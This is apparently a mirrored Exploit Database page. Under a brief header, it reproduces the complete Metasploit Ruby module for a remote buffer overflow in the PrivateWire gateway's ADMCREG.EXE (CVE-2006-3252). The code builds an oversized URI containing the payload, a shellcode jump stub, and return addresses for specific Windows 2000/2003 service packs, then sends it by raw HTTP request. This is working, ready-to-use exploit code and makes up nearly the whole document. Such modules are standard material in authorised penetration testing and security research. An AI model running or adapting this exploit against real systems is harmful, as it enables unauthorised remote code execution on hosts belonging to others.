Private Wire Gateway – Remote Buffer Overflow (Metasploit)

• Exploit Database
• 33 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16760/

• ##
  # $Id: privatewire_gateway.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  # This file may only be distributed as part of the Metasploit Framework.
  # Any other use needs a written permission from the author.
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Private Wire Gateway Buffer Overflow',
  			'Description'=> %q{
  					This exploits a buffer overflow in the ADMCREG.EXE used
  				in the PrivateWire Online Registration Facility.
  			},
  			'Author' => 'Michael Thumann <mthumann[at]ernw.de>',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					['CVE', '2006-3252'],
  					['OSVDB', '26861'],
  					['BID', '18647'],
  				],
  			'Payload'=>
  				{
  					'Space'=> 8000,
  					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x1b",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 English SP0', { 'Ret' => 0x77e3c289 }], # jmp esp user32.dll
  					['Windows 2000 English SP1', { 'Ret' => 0x77e3cb4c }], # jmp esp user32.dll
  					['Windows 2000 English SP2', { 'Ret' => 0x77e3af64 }], # jmp esp user32.dll
  					['Windows 2000 English SP3', { 'Ret' => 0x77e388a7 }], # jmp esp user32.dll
  					['Windows 2000 English SP4', { 'Ret' => 0x77e3c256 }], # jmp esp user32.dll
  					['Windows 2003 English SP0/SP1', { 'Ret' => 0x77d74c94 }], # jmp esp user32.dll
  					['Debugging',{ 'Ret' => 0x41414141 }], # crash
  				],
  			'DefaultTarget'=> 4,
  			'DisclosureDate' => 'Jun 26 2006'))
  
  		register_options(
  			[
  				OptString.new('PATH', [ true, "Installation path of Privatewire", 'C:\Cipgw' ])
  			], self.class)
  	end
  
  	def exploit
  		# add 25 to ecx and jmp
  		jmp = "\x6a\x19\x58\x01\xc1\xff\xe1"
  
  		path_offset = datastore['PATH'].length - 8
  
  		pattern= rand_text_alphanumeric(8192)
  		pattern[0, payload.encoded.length] = payload.encoded
  		pattern[8156 - path_offset, 4] = [target.ret].pack('V')
  		pattern[8160, jmp.length]= jmp
  
  		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")
  
  		send_request_raw({
  				'uri' => "/" + pattern
  			}, 2)
  	end
  
  end